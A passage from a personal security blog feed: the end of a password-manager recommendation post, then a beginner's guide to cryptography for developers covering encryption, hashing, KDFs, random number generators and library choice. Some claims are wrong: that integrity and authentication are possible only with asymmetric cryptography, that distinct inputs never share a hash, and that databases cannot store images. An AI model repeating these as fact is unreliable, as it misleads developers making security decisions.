<p>There are very niche cases where you will store attachments in a password manager. Having a separate encrypted file storage provider would be a much better option. Of course, in the business world possibilities are endless. For personal usage, of course, you can store recovery codes pdfs, but first I don't recommend it as discussed above in the, <a target="_blank" href="https://flarexes.com/unveiling-the-hidden-gems-enhance-your-password-managers-potential#heading-should-you-store-recovery-phases-in-the-notes-field">Should you store <em>recovery phases</em> in the Notes field?</a> section, and secondly, I could just copy and paste them in a secure notes section if I really want to. But you can save your driver's license or government ID telling the password manager exactly who you are. Security isn't the only thing I care about, Privacy is also important to me, which ends up making me paranoid.</p>
<h2 id="heading-my-password-manager-recommendation">My Password Manager Recommendation</h2>
<p>Yep! Everyone's most favorite and never-ending topic, Top 5 Password Managers That Will Make You Super Secure. The First position in this list goes to:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><a target="_blank" href="http://S.No">S.No</a></td><td>Password Manager</td><td>Free Tier</td><td>Open-Source</td><td>Description</td></tr>
</thead>
<tbody>
<tr>
<td>1.</td><td>Bitwarden</td><td>✅</td><td>✅</td><td>All Major Features In Free Tier</td></tr>
<tr>
<td>2.</td><td>Proton Pass</td><td>✅</td><td>✅</td><td>Best E-Mail Aliasing Integration</td></tr>
<tr>
<td>3.</td><td>1Password</td><td>❌</td><td>❌</td><td>Best Suited For Businesses</td></tr>
<tr>
<td>4.</td><td>KeePassXC</td><td>✅</td><td>✅</td><td>Offline Password Manager, Highly Customizable, For High Threat Models</td></tr>
<tr>
<td>5.</td><td>Pass</td><td>✅</td><td>✅</td><td>Offline Password Manager, Only For Nerdiest Guys, <a target="_blank" href="https://flarexes.com/unveiling-the-hidden-gems-enhance-your-password-managers-potential#heading-password-store-aka-pass">More below</a></td></tr>
</tbody>
</table>
</div><p>Password managers that I have used by now are: LastPass, RoboForm, NordPass, Bitwarden, KeePassXC, and Pass including <a target="_blank" href="https://github.com/FlareXes/offsync">OffSync</a> my own stateless password manager, I know that's stupid you should never use your own password managers. I do that for my understanding purpose of password manager. Keeping this aside, for me the <strong>combination of Bitwarden and KeePassXC always works the best</strong>.</p>
<p>Btw, <a target="_blank" href="https://github.com/FlareXes/offsync">OffSync</a> is still an active project; I'm just letting you know if you want to poke around it. But <strong>I STRICTLY DON'T RECOMMEND IT FOR PERSONAL USAGE</strong>. It's just my hobby project.</p>
<h3 id="heading-password-store-aka-pass">Password-Store aka Pass</h3>
<p>Pass is a bit different from other password managers. It has definitely the highest learning curve. Usually, only minimalist Linux nerds use this. Pass has some info exposing issues like the number of passwords stored in a database or access to encrypted files etc. Pass only focuses on password security, that's why you won't get many features discussed above.</p>
<p>But they're not well discussed in the community because of two reasons. First, very few people use this and second; it's an offline password manager, so if someone has managed to get access this far, then I believe you will have more things to worry about. Because in the end, your passwords will still be safe because they are encrypted with PGP encryption. If you want to know more about Pass security, you can check out <a target="_blank" href="https://rot256.dev/post/pass/">(In)Security of the "Pass" password manager</a>.</p>
<p>But that doesn't mean Pass could not have any good usages. I personally don't use Pass for storing passwords, but I use it as a 2-factor Authenticator. So, If you're interested in that, you can check out this blog post <a target="_blank" href="https://flarexes.com/how-to-setup-and-autofill-otp-using-pass-otp">How to Setup and Autofill OTP Using Pass-OTP?</a></p>
<p><strong>Resources</strong></p>
<ul>
<li><p>Password-Store aka Pass Setup</p>
<ul>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=sVkURNfxPd4">https://www.youtube.com/watch?v=sVkURNfxPd4</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=FhwsfH2TpFA">https://www.youtube.com/watch?v=FhwsfH2TpFA</a></p>
</li>
</ul>
</li>
<li><p>For Paranoids, Podcast on Password Managers &amp; 2FA by Michael Bazzell</p>
<ul>
<li><a target="_blank" href="https://open.spotify.com/episode/5ufd5ULMssksoWxdL9WtA6">https://open.spotify.com/episode/5ufd5ULMssksoWxdL9WtA6</a></li>
</ul>
</li>
</ul>
<blockquote>
<p><strong>Pro Tip</strong>: Use keyboard bindings to autofill creds instead of mouse. Do that a few times and you will never touch the mouse again.</p>
</blockquote>
<hr />
<p>So, That's all for this time. Stay safe and start using a good password manager if aren't doing so by now. And, If you're already using one. Then it's best to start implementing the features and tricks that we have discussed. If you have any suggestions or anything important thing I forgot to mention, please let me know in the comments section or on my socials.</p>
<p>Bye!!!</p>
]]></content:encoded></item><item><title><![CDATA[Cryptography 101: A Developer's Guide to Secure Coding]]></title><description><![CDATA[Why Cryptography Only For Developers?
Sometimes it is misunderstood that developers should know the maths behind the cryptographic algorithm. Which is such a myth. They don't need to worry about any maths to use any cryptographic algorithm. In realit...]]></description><link>https://flarexes.com/cryptography-101-a-developers-guide-to-secure-coding</link><guid isPermaLink="true">https://flarexes.com/cryptography-101-a-developers-guide-to-secure-coding</guid><category><![CDATA[Cryptography]]></category><category><![CDATA[Python]]></category><category><![CDATA[Security]]></category><category><![CDATA[Developer]]></category><category><![CDATA[best practices]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Sat, 01 Jul 2023 23:30:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1688258379447/a3923b1f-b9be-430f-883f-2b205bd8a6ae.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-why-cryptography-only-for-developers">Why Cryptography Only For Developers?</h1>
<p>Sometimes it is misunderstood that developers should know the maths behind the cryptographic algorithm. Which is such a <strong>myth</strong>. They don't need to worry about any maths to use any cryptographic algorithm. In reality, developers should just use them like other algorithms by importing them from libraries. Many developers also want to stay away from Cryptography.</p>
<p>After all, they think it's complex and doesn't need to worry about it because they have good programming skills. But if I ask you, are you sure that you will never implement any authentication system in your life, you will never manage customers' sensitive data, or do you think somebody will hire you for writing insecure code? I think your answer would be <strong>NO</strong>. Any good organization will not just ask you about your programming skills. A good developer or programmer also knows how to write well-optimized, well-designed, and well-secured code. And it's not hard at all. If you think so, then just read or listen to this blog post for better exposure to Cryptography for developers.</p>
<h1 id="heading-basics-of-cryptography">Basics of Cryptography</h1>
<p>Before we get started with the developer side of cryptography, we need to understand a few basic things that are common across all the applications of Cryptography. In the next few sections, we will see why Cryptography is even needed. Misconceptions that we usually have, and what are the majority of things we use as developers?</p>
<blockquote>
<p>If you already know Cryptography basics you can directly jump to <a target="_blank" href="https://flarexes.com/cryptography-for-developers-and-best-practices#heading-best-practices-to-follow-in-cryptography">Best Practices</a>.</p>
</blockquote>
<p>Before I go any further, I want you to know that this is only the tip of the iceberg in cryptography, but it's almost (60% to 80%, this is absurd) a complete iceberg for developers. Whatever I'll explain here is my experience, and I'm not an expert in Cryptography. So, feel free to correct me in the comments section.</p>
<h2 id="heading-what-is-the-cryptography">What is the Cryptography?</h2>
<p>If you're completely new to this. Then there is a definition from Wikipedia: <em>Cryptography is about constructing and analyzing protocols that prevent third parties or adversaries from reading your private messages. Modern cryptography exists at the intersection of mathematics, computer science, information security, electrical engineering, digital signal processing, physics, and others.</em> Easy enough, ya! I know that.</p>
<p>So, Just getting good at maths isn't gonna make you good at cryptography. You have to think about other things too. But, as developers, we only need two things from this definition. First, <strong>prevent third parties from reading private info</strong> and second, <strong>computer science</strong>. This part we already know.</p>
<blockquote>
<p>If you already know Cryptography basics you can directly jump to <a target="_blank" href="https://flarexes.com/cryptography-for-developers-and-best-practices#heading-best-practices-to-follow-in-cryptography">Best Practices</a>.</p>
</blockquote>
<h3 id="heading-how-does-cryptography-secure-data">How does cryptography secure data?</h3>
<p>Not mathematically but what does cryptography actually do to achieve data security? So, The answer to this question is that the core concept behind cryptography is to provide <strong>Data Confidentiality</strong>, <strong>Data Integrity</strong>, <strong>Authentication</strong>, and <strong>Non-repudiation</strong>. Some books also include <strong>Authorization</strong>. So, let's look at them one by one.</p>
<h4 id="heading-confidentiality"><strong>Confidentiality</strong></h4>
<p>We consider a piece of information confidential when it is only accessible to the intended individual. This is usually achieved by encrypting the plain text into ciphertext (encrypted text is called ciphertext). For example, A Doctor is the only person who should look at a patient's health report nobody else, to maintain Confidentiality. Or If <code>A</code> sends a message to <code>B</code> then <code>C</code> can't access it, No matter what. In real life, <strong>End-To-End</strong> encryption is the best example in messaging apps.</p>
<h4 id="heading-integrity"><strong>Integrity</strong></h4>
<p>To avoid any alteration in resources or information, we implement an <strong>Integrity</strong> mechanism. For example, <code>A</code> sends a message to <code>B</code>, and <code>C</code> can't read it but <code>C</code> can intercept it, change the message into something else and then send it back to <code>B</code>. Data Integrity is also important to make sure that information wasn't lost or corrupted in-transmit. So, to make sure data wasn't corrupted, manipulated, or lost in-transmit we can implement an <strong>Integrity</strong> mechanism that could be <a target="_blank" href="https://en.wikipedia.org/wiki/Message_authentication_code"><strong>Message Authentication Codes (MAC)</strong></a> or <a target="_blank" href="https://en.wikipedia.org/wiki/Checksum"><strong>Checksum</strong></a>, depending on the use case.</p>
<h4 id="heading-authentication"><strong>Authentication</strong></h4>
<p>We can say authentication means proving <em>Who You Are.</em> We have lots of examples of Authentication in the real world like Login Page, Forget Password, 2FA, etc. where you have to provide relevant information to prove <em>Who You Are.</em> Authentication can be achieved in different ways, but the majority of authentication methods include things like -</p>
<ul>
<li><p><strong>Something You Know</strong>, Like Password</p>
</li>
<li><p><strong>Something You Have</strong>, Like Credit Card</p>
</li>
<li><p><strong>Something You Are</strong>, Like Biometric</p>
</li>
</ul>
<h4 id="heading-non-repudiation"><strong>Non-repudiation</strong></h4>
<p>Imagine your friend sends a message to you and after some time he denies that he didn't send anything to you. So, to avoid these situations where an individual can't deny the validity of certain actions, we implement a Non-repudiation mechanism. This can be done using <a target="_blank" href="https://cloud.google.com/kms/docs/digital-signatures"><strong>Digital Signature</strong></a>.</p>
<h4 id="heading-authorization"><strong>Authorization</strong></h4>
<p>Authorization is an implementation to check whether a user is allowed to access a resource or not. Personally, I don't think this should be part of Cryptography. I just included this because few books refer to this in cryptography (may they try to relate cryptography with security) but, it's just a security mechanism e.g. <strong>Access Control List (ACL)</strong>. And, don't get confused between <strong>Authentication</strong> and <strong>Authorization</strong>. For example, You work in a Data Center, so you can enter the building this is Authentication. But, you work at Help Desk thus you are not allowed to enter in server rooms and that is Authorization. That's it, we won't be discussing it anymore.</p>
<h2 id="heading-type-of-cryptography">Type of Cryptography</h2>
<h3 id="heading-private-key-cryptography">Private Key Cryptography</h3>
<p>Also, known as <strong>Secret Key Cryptography</strong> or <strong>Symmetric Key Cryptography</strong>. Where a single key is used to encrypt and decrypt the data. For Symmetric cryptography, <strong>AES-256</strong> (Advanced Encryption Standard) is the standard for encrypting data. Know more about AES working here: <a target="_blank" href="https://flarexes.com/the-applications-of-matrices-in-cryptography">The Applications Of Matrices In Cryptography</a>.</p>
<pre><code class="lang-java">To Encrypt: 
            Secret-Information  x  Key  =  Ciphertext

To Decrypt: 
            Ciphertext  x  Key  =  Secret-Information

-----------------------------------------------------

Same key is used <span class="hljs-keyword">for</span> both encryption and decryption.
</code></pre>
<h3 id="heading-public-key-cryptography">Public Key Cryptography</h3>
<p>Also known as <strong>Asymmetric Key Cryptography</strong> is the exact opposite of <strong>Symmetric Key Cryptography</strong> here a key pair is generated. A Key-pair is the combination of a <strong>Public Key</strong> and a <strong>Private Key</strong>. In most cases, Public Key is used to encrypt data, and Private Key is used to decrypt data. For Asymmetric cryptography, <strong>RSA</strong> (Rivest-Shamir-Adleman) is standard for encrypting data. Due to this nature, we can achieve things like End-To-End encryption.</p>
<pre><code class="lang-java">To Encrypt: 
            Secret-Information  x  Public Key  =  Ciphertext

To Decrypt: 
            Ciphertext  x  Private Key  =  Secret-Information

-------------------------------------------------------------

Different keys are used <span class="hljs-keyword">for</span> both encryption and decryption. 
Public  Key <span class="hljs-keyword">for</span> Encryption.
Private Key <span class="hljs-keyword">for</span> Decryption.
</code></pre>
<h3 id="heading-which-one-is-better-symmetric-or-asymmetric-cryptography">Which one is better Symmetric or Asymmetric Cryptography?</h3>
<p>Asymmetric Cryptography, Yep straight-up Asymmetric Cryptography provides better security than Symmetric Cryptography. But still, this is not usually the best to encrypt data. Let's understand this.</p>
<ul>
<li><p>Symmetric Cryptography is more resistant to quantum computing.</p>
</li>
<li><p>Symmetric Cryptography is suitable for encrypting/decrypting large data.</p>
</li>
<li><p>Symmetric Cryptography algorithms are easy to implement in the codebase.</p>
</li>
<li><p>Symmetric Cryptography is certainly, faster than Asymmetric Cryptography.</p>
</li>
<li><p>Symmetric Cryptography is also used for securing military-grade protection.</p>
</li>
</ul>
<p>Even <strong>AES</strong> is also known as military-grade encryption that hasn't been broken till now (if implemented correctly). So, Symmetric Cryptography is so great then, why did you say "Asymmetric Cryptography provides better security than Symmetric Cryptography"? Well, that's true though, Asymmetric Cryptography is one of those who say less and do more.</p>
<p>Asymmetric Cryptography is relatively slower than Symmetric Cryptography. But It is used to transfer your keys for Symmetric Cryptography. The best example from Wikipedia: RSA is used to transmit shared keys for symmetric-key cryptography, which are then used for bulk encryption–decryption. In a security context, Asymmetric Cryptography has more flexibility and brought spectrum than Symmetric Cryptography. Let's look at a few examples.</p>
<p>Without Asymmetric Cryptography</p>
<ul>
<li><p>You can't use messaging apps like Signal and WhatsApp securely, <a target="_blank" href="https://en.wikipedia.org/wiki/End-to-end_encryption">End-To-End Encryption</a>.</p>
</li>
<li><p>You can't browse internet securely, <a target="_blank" href="https://en.wikipedia.org/wiki/Public_key_certificate">Certificate</a>.</p>
</li>
<li><p>You can't solve key <a target="_blank" href="https://en.wikipedia.org/wiki/Key_distribution">distribution</a> problems in both types of cryptography, <a target="_blank" href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">Diffie-Hellman</a>.</p>
</li>
<li><p>You can't achieve Non-repudiation, <a target="_blank" href="https://en.wikipedia.org/wiki/Digital_signature">Digital Signature</a>.</p>
</li>
</ul>
<p>and the list goes on...</p>
<blockquote>
<p><strong>Note:</strong> Integrity, Authentication, and Non-repudiation mechanisms can only be possible via Asymmetric cryptography.</p>
</blockquote>
<h2 id="heading-encryption-vs-hashing-vs-encoding">Encryption vs. Hashing vs. Encoding</h2>
<p>Sometimes people get confused between these different terms. Or they use them interchangeably, even technical individuals. So let's first clear this confusion with these few lines I always say when explaining this to anyone.</p>
<ol>
<li><p>Encrypted Data Can Be Decrypted.</p>
</li>
<li><p>Hashed Data Can Not Be De-hashed.</p>
</li>
<li><p>Encoded Data Can Be Decoded.</p>
</li>
</ol>
<h3 id="heading-encryption">Encryption</h3>
<p>Encryption is used to secure data or communication with a key or password. Once data is turned into ciphertext with a key, we will need the key again in the future to get the data back. That means <strong>Encrypted Data Can Be Decrypted</strong>. We already discussed encryption above, its working, and its types. So, we'll move on to hashing.</p>
<h3 id="heading-hashing">Hashing</h3>
<p>Hashing is the process of transforming any given data into a fixed-sized string. It is a non-reversible or one-way process. That means, <strong>Hashed Data Can't Be De-hashed</strong> (Theoretically). In hashing, the same input always outputs the same hash or hash digest. And any minor change in inputs will drastically change the hash value. Different inputs (data) never give the same hash digest. If two different inputs end up generating the same hash, then it will be considered a <a target="_blank" href="https://en.wikipedia.org/wiki/Hash_collision">Hash Collision</a>. That's why it's recommended to always use the current Standard Hashing Algorithm (SHA-256, for now). We will talk more about it later. There are numerous use cases of hashing, like - Checksum, Message Authentication, Storing Passwords, etc.</p>
<p>As you can see below same input gives the same hash value.</p>
<pre><code class="lang-bash">  ~ <span class="hljs-built_in">printf</span> <span class="hljs-string">"this is me"</span> | sha256sum
dd81cb79f11bedd77be0000f28e264e2c4b42376c76b891c7845b172c071d631  -

  ~ <span class="hljs-built_in">printf</span> <span class="hljs-string">"this is me"</span> | sha256sum
dd81cb79f11bedd77be0000f28e264e2c4b42376c76b891c7845b172c071d631  -
</code></pre>
<p>But, If I make a small change (capitalizing the first character) it will drastically change the hash value.</p>
<pre><code class="lang-bash">  ~ <span class="hljs-built_in">printf</span> <span class="hljs-string">"This is me"</span> | sha256sum
89907528d197ac9b349a5798f802e9b571cda02062cd288a4f1641ecfb83925f  -
</code></pre>
<p>You can try this yourself on an online tool, <a target="_blank" href="https://gchq.github.io/CyberChef/">CyberChef</a>.</p>
<h3 id="heading-encoding">Encoding</h3>
<p>Encoding is just a different representation of the same data. For instance, 10, 1010, and 0xA represent the same value in different number systems: decimal, binary, and hexadecimal, respectively. The purpose of encoding is to convert data in a way that is compatible with other applications. For instance, relational databases can't store images, but you can convert that image into text format using some encoding algorithm, and then can be stored in a database. Like hashes, encoding also doesn't require a key to encode or decode.</p>
<p>Let's look at how a file can be converted to base64 encoding.</p>
<pre><code class="lang-bash">  ~ cat scroll_by_me.js | base64
bGV0IHNwZWVkID0gMTsKbGV0IGNsaWNrID0gZmFsc2U7CmxldCB0ZW1wOwoKZG9jdW1lbnQub25j
bGljayA9ICgpID0+IHsKCWNsaWNrID0gIWNsaWNrOwoKICBpZiAoY2xpY2spCgkgIHRlbXAgPSBz
ZXRJbnRlcnZhbChmdW5jdGlvbigpeyB3aW5kb3cuc2Nyb2xsQnkoMCwgc3BlZWQpOyB9LCAyMCk7
CiAgZWxzZQoJICB3aW5kb3cuY2xlYXJJbnRlcnZhbCh0ZW1wKTsKfTsK
</code></pre>
<p>Now, you can go to <a target="_blank" href="https://gchq.github.io/CyberChef/">CyberChef</a> and try to decode this.</p>
<blockquote>
<p>If you already know Cryptography basic you can directly jump to <a target="_blank" href="https://flarexes.com/cryptography-for-developers-and-best-practices#heading-best-practices-to-follow-in-cryptography">Best Practices</a>.</p>
</blockquote>
<h2 id="heading-key-derivation-function">Key Derivation Function</h2>
<p>KDF or Key Derivation Function is a cryptographic algorithm that is used to derive one or more keys from a primary secret (a master key or a passphrase), <a target="_blank" href="https://en.wikipedia.org/wiki/Key_stretching">Key Stretching</a> to make weak keys more secure or to increase computation cost. This provides resistance against brute-force attacks or pre-computed rainbow table attacks. Like Hashing, KDF algorithms also generate deterministic output or one-way output. We can't reverse it.</p>
<h3 id="heading-when-to-use-kdf-over-hash">When to use KDF over Hash?</h3>
<p>Let's understand a few similarities between Hashing and Key Derivation Function. They both look and work pretty much the same, though they serve different purposes, which is crucial to look into.</p>
<p>Hash functions are pretty fast at calculating the hash digest (hash value) of large amounts of data. Which is best suited for ensuring integrity and message authentication. But sometimes we want things to be slow in the cryptography world. Let's see why.</p>
<p>Imagine, you have a SHA-256 hash digest <code>31c27648b8f72727ef96806d541957746c0c005268609822a7d8fa1e3ac805f8</code>. you want to calculate its original value. But you may be thinking, "How is it even possible? Hashing is a one-way algorithm?". Well, the answer is simple: we'll brute-force. For instance, I'll use a dictionary to convert each word into SHA-256 and then compare it with the original hash value. If the values match, then I found the original text of the given hash value. Second, I can use online tools like <a target="_blank" href="https://crackstation.net/">CrackStation</a> which already holds precomputed hash tables. Use <a target="_blank" href="https://crackstation.net/">CrackStation</a> and comment the original text of the above hash.</p>
<p>Now imagine again if that hash was a password. And that is where the problem begins. Hashing algorithms aren't computationally heavy. They are designed to be fast, but in the case of a higher-security model, we prefer KDF. Cracking these kinds of hashes in the world of cloud computing is often very easy. Hackers use tools like CrackStation, John The Ripper, Hashcat, etc. That can even utilize the power of GPUs and parallel processing.</p>
<p>In those scenarios, KDF really stands out. KDF algorithms are essentially designed to be slow and computationally expensive. They drastically reduce the success rate of attacks like brute-force or precomputed hash tables. You can also tweak KDF algorithms to increase or decrease computation power. <strong>PBKDF2</strong> (Password-Based Key Derivation Function 2) is a widely used Key Derivation Function, but there are also better options available, like <strong>Scrypt</strong> which also provides GPU and parallel processing resistance.</p>
<p>So, the Moral of the story is - Sometimes things being slow are okay.</p>
<blockquote>
<p><strong>Note :</strong> In Many places, you'll find KDF categorized as Hash.</p>
</blockquote>
<h2 id="heading-random-number-generator">Random Number Generator</h2>
<p>Random Number Generator in short RNG plays a significant role in cryptography. You will encounter RNG in many situations in cryptography. Like - To encrypt data you need RNG, to use KDF you need RNG or to generate keys, again you need RNG. But, Not just any RNG. A wrong choice can lead to potential loopholes in implementation.</p>
<p>There are two types of Random Number Generators. First, <a target="_blank" href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator"><strong>Pseudo-Random Number Generator</strong> (PRNG)</a> and <a target="_blank" href="https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator"><strong>Cryptographic Pseudo-Random Number Generator</strong> (CPRNG)</a>.</p>
<h3 id="heading-pseudo-random-number-generator">Pseudo-Random Number Generator</h3>
<p><a target="_blank" href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNGs</a> are those algorithms that generate a random number or sequence that only looks random. But in reality, it's not random at all. What if I say, the libraries you use in your codebase to generate random numbers, choose a random element, shuffle a list, etc, are not random or only look random. And, When we think logically <em>How is it even possible in the world to generate a random number from a deterministic machine?</em> Computers only understand deterministic values or simply maths. So, the answer is they don't, they just use some <strong>Initial Value</strong> that only looks random. For instance, the number of processes running on the machine or time. Many PRNG implementations use time as an initial value. Let's understand this by an example</p>
<pre><code class="lang-plaintext">time = 1686919931823062166 in nanoseconds
random_number = time * 34 / (439 ** 2) % 10

random_number will be 9.5625
</code></pre>
<p>Now, this will generate a new random number every time you run it, but is it really a true random number? No, it's not. It just looks random in nature. So, it's not a good practice to use PRNGs for security purposes. PRNGs are best for games or simple tasks, but not for security stuff; for that we have CPRNG.</p>
<p>Python's <code>random</code> module documentation shows a big red warning box stating - <code>Warning: The pseudo-random generators of this module should not be used for security purposes. For security or cryptographic uses, see the secrets module</code>. This is a good example of always refer to the documentation. More on that in the <a target="_blank" href="https://flarexes.com/cryptography-for-developers#heading-never-assume-refer-to-documentation">Never Assume, Refer To Documentation</a> section.</p>
<blockquote>
<p><strong>Random Fact</strong>: Python uses <em>Mersenne Twister</em> as PRNG in random module.</p>
</blockquote>
<h3 id="heading-cryptographic-pseudo-random-number-generator">Cryptographic Pseudo-Random Number Generator</h3>
<p><a target="_blank" href="https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator">CPRNGs</a> are algorithms that are suitable for security purposes. CPRNGs are seeded with good-quality randomness to avoid future predictions, like keyboard typing speed, mouse position, moving speed, radio decay, IOs (input/output), etc. These events are hard to predict. VeraCrypt (an encryption utility) uses mouse movements, to generate a good-quality random seed. Every programming language or operating system has different implementations of generating CPRNGs; therefore, it is not possible to mention all of them here. That's why it is recommended to refer to the documentation of the source (Programming Language, OS, Hardware, etc) that you're using to generate CPRNG. But here are a few examples: on Linux, you can use <code>/dev/urandom</code> and in Python, you can use <code>secrets</code> module. At last, CPRNGs take more time to compute a good-quality seed than PRNGs.</p>
<h1 id="heading-best-practices-to-follow-in-cryptography">Best Practices To Follow In Cryptography</h1>
<p>Up until now, we have already discussed basic terminologies and things that are commonly used in development. And now we will see important rules or bullet points that should always be considered while working with cryptography. These are some best practices to follow while selecting or implementing a cryptographic algorithm.</p>
<h2 id="heading-never-use-own-crypto-algorithms">Never Use Own Crypto Algorithms</h2>
<p>Ya! This has been seen very often that newcomers usually start writing their own cryptographic algorithms, which is just BAD. Even the best security organizations don't write their own algorithms to secure users' data. Instead, they use existing once that are trusted and analyzed over the years or even decades.</p>
<p>Bitwarden password manager is a fantastic example; they don't write any cryptographic algorithms to protect users' data. They solely import popular, reputable crypto libraries that have been tested over time by cryptography experts, <a target="_blank" href="https://bitwarden.com/help/what-encryption-is-used/#invoked-crypto-libraries">Verify Here</a>. Bitwarden doesn't even modify the existing algorithms. They just invoke them. This has also been spotted lately: developers or those new to cryptography often tend to modify existing crypto algorithms to make them more secure, like encrypting data twice, trying to change the key size, or worse... manipulating mathematics because they think their calculations are much better. But end up making it vulnerable or redundant.</p>
<p>Bruce Schneier once said "Anyone, from the most clueless amateur to the best cryptographer, can create an algorithm that he himself can't break." also known as <strong>Schneier's Law</strong>.</p>
<p>I'm not saying you should never write a crypto algorithm otherwise who will give us more good crypto libraries and algorithms? I'm just saying, don't use them in production if it doesn't satisfy all the mentioned <a target="_blank" href="https://fireflaredb.hashnode.dev/cryptography-for-developers-and-best-practices#heading-best-practices-to-follow-in-cryptography">best practices</a>.</p>
<p>You should definitely read this short article by Bruce Schneier If you want to be a good Cipher Designer in the future - <a target="_blank" href="https://www.schneier.com/crypto-gram/archives/1998/1015.html#cipherdesign">Memo to the Amateur Cipher Designer</a>.</p>
<h2 id="heading-never-assume-refer-to-documentation">Never Assume, Refer To Documentation</h2>
<p>I've mentioned <em>Documentation</em> a few times in this article because it's essential. Any cryptographic algorithm you import from libraries will have its own implementation rules. Different libraries will have different default values, different suggestions, and different implementation methods. For instance, let's look at a Python cryptographic module or library called <a target="_blank" href="https://www.pycryptodome.org/src/introduction">PyCryptodome</a>.</p>
<p>If you search on the internet about Python encryption, you'll probably see some examples with <code>pip install pycryptodome</code> and some with <code>pip install pycryptodomex</code>. Then, which one should you be using? The answer is simply to look at the documentation. You'll see <code>pycryptodome</code> is a drop-in replacement of the old PyCrypto library, and <code>pycryptodomex</code> is independent of the old PyCrypto library. So, if your project already depends upon <code>PyCrypto</code> then you would prefer <code>pycryptodome</code> instead of <code>pycryptodomex</code>.</p>
<p>One more example could be that I want to use <code>Scrypt</code> as my <a class="post-section-overview" href="#key-derivation-function">Key Derivation Function</a>. But this KDF requires a few arguments like - <code>N</code>, <code>r</code>, <code>p</code>. And you don't know what they mean or what the value of these arguments should be. So, you'll again refer to the <a target="_blank" href="https://www.pycryptodome.org/src/protocol/kdf#scrypt">PyCryptodome Scrypt KDF</a> section from the documentation. Then, you'll see</p>
<ul>
<li><p>N means CPU/Memory cost</p>
</li>
<li><p>r means Block size</p>
</li>
<li><p>p means Parallel computation</p>
</li>
</ul>
<p>and, there default recommended values should be ( 2¹⁴, 8, 1 ) for interactive logins (≤100ms) and ( 2²⁰, 8, 1 ) for file encryption (≤5s).</p>
<h2 id="heading-stick-with-cryptography-standards">Stick with Cryptography Standards</h2>
<p>If you don't want to have headaches deciding which algorithm to pick, which algorithm is good enough, and which algorithm is secure and tested enough, then always! Always stick with cryptography standards. Because an algorithm is only stated as a standard when it has been tested thousands of times by experts and has survived heavy, unexpected, and high tides of <strong>TIME</strong>. No matter how good an algorithm looks on paper, and also works in the real world. But if it hasn't surpassed the enough long time until it is no standard. Like <a target="_blank" href="https://en.wikipedia.org/wiki/Argon2"><strong>Argon2</strong></a>, a hashing algorithm that even won the 2015 Password Hashing Competition, people still have sceptical views about it just because it is a relatively new algorithm.</p>
<p>Most importantly, if your boss says, "Why do you think it's a good algorithm for our product?" you can throw an answer like, "If the US government thinks that <strong>AES-256</strong> is good enough to secure their confidential data, then who the hack are you?"</p>
<p>Places where you can look for cryptography standards.</p>
<ol>
<li><p><a target="_blank" href="https://csrc.nist.gov/projects/cryptographic-standards-and-guidelines">Cryptographic Standards and Guidelines</a> From NIST.</p>
</li>
<li><p><a target="_blank" href="https://en.wikipedia.org/wiki/Cryptography_standards">Cryptography Standards</a> From Wikipedia.</p>
</li>
<li><p><a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html">Cryptographic Storage</a> and <a target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html">Password Storage</a> From OWASP Cheat Sheet Series.</p>
</li>
</ol>
<p>Fourth! My favorite is to look for well-known, trusted, and respected security products or organizations and see how they implemented the things I want to implement in my own codebase. For example, if I want to use a KDF function for key stretching in my own codebase, then which algorithm will I use and what parameters should I be using? Again, free promotion coming from Bitwarden because they did good job with the documentation. So, I'll look into Bitwarden's documentation to see what they used and why they used it. It's just one of the many examples.</p>
<p>Give it a shot and tell me which KDF function I should be using in the comment section: <a target="_blank" href="https://bitwarden.com/help/kdf-algorithms/">Bitwarden KDF</a>.</p>
<p>And of course, I'll verify the information from different sources. Like from NIST. And lastly, standards can change, so always keep an eye out.</p>
<h2 id="heading-stick-with-trusted-audited-and-known-crypto-libraries">Stick with Trusted, Audited, and known Crypto Libraries</h2>
<p>As we talked about cryptography standards, we also needed to discuss libraries. Because at the end you'll be using them. So, we must take special precautions while choosing crypto libraries. A developer should make sure that any library, not just a cryptographic library, is trusted and audited. You should give more priority to cryptographic libraries that come pre-packaged or are officially supported by the programming language you're using. Libraries that come pre-packaged with programming languages are often tested and audited by professionals serval times before shipping.</p>
<p>But, it's not common to find all cryptographic algorithms or functions in pre-packaged libraries. So, I'll give second priority to well-known, trusted, and multiple times audited libraries. In the end, you won't write any algorithms by yourself, as we discussed above. You have to put your trust in somebody, assuming that this somebody has done better work at security than you could have.</p>
<p><a target="_blank" href="https://en.wikipedia.org/wiki/OpenSSL">OpenSSL</a> and <a target="_blank" href="https://doc.libsodium.org/">Libsodium</a> are two well-known, trusted, and multiple-time audited external libraries. Session, a secure messaging application, uses Libsodium as its encryption mechanism. Read more about <a target="_blank" href="https://flarexes.com/session-vs-signal-something-better-then-whatsapp">Session vs Signal</a>. You can look at the <a target="_blank" href="https://en.wikipedia.org/wiki/Comparison_of_cryptography_libraries">comparison of cryptography libraries</a>. Keep in mind, information on Wikipedia can be outdated or false, so cross-verify if needed.</p>
<h3 id="heading-buying-cryptography-libraries-from-3rd-party-vendors">Buying Cryptography Libraries from 3'rd Party Vendors</h3>
<p>Personally, I have very sceptical views about buying cryptography libraries from 3rd-party vendors or crypto library providers (IDK what to say them). I don't think they provide any value in terms of security, customer support, or money. On the other hand, I believe they reduce the security of applications. Why? Because the majority of these library providers are closed-source. So nobody can take a look at them.</p>
<p>Second, if I require vendor assistance for testing the implementation of the cryptographic library, I can simply hire a security engineer or cryptography specialist to conduct the necessary security checks on my behalf. And, in large organizations, you will always have one. So, I think it's just nonsense to make your code more vulnerable. Off the top of my head, I can't think of any software that does this.</p>
<p>By the way, these are just my opinions; I could be wrong. What are your thoughts on buying a cryptographic library? Comment 👇</p>
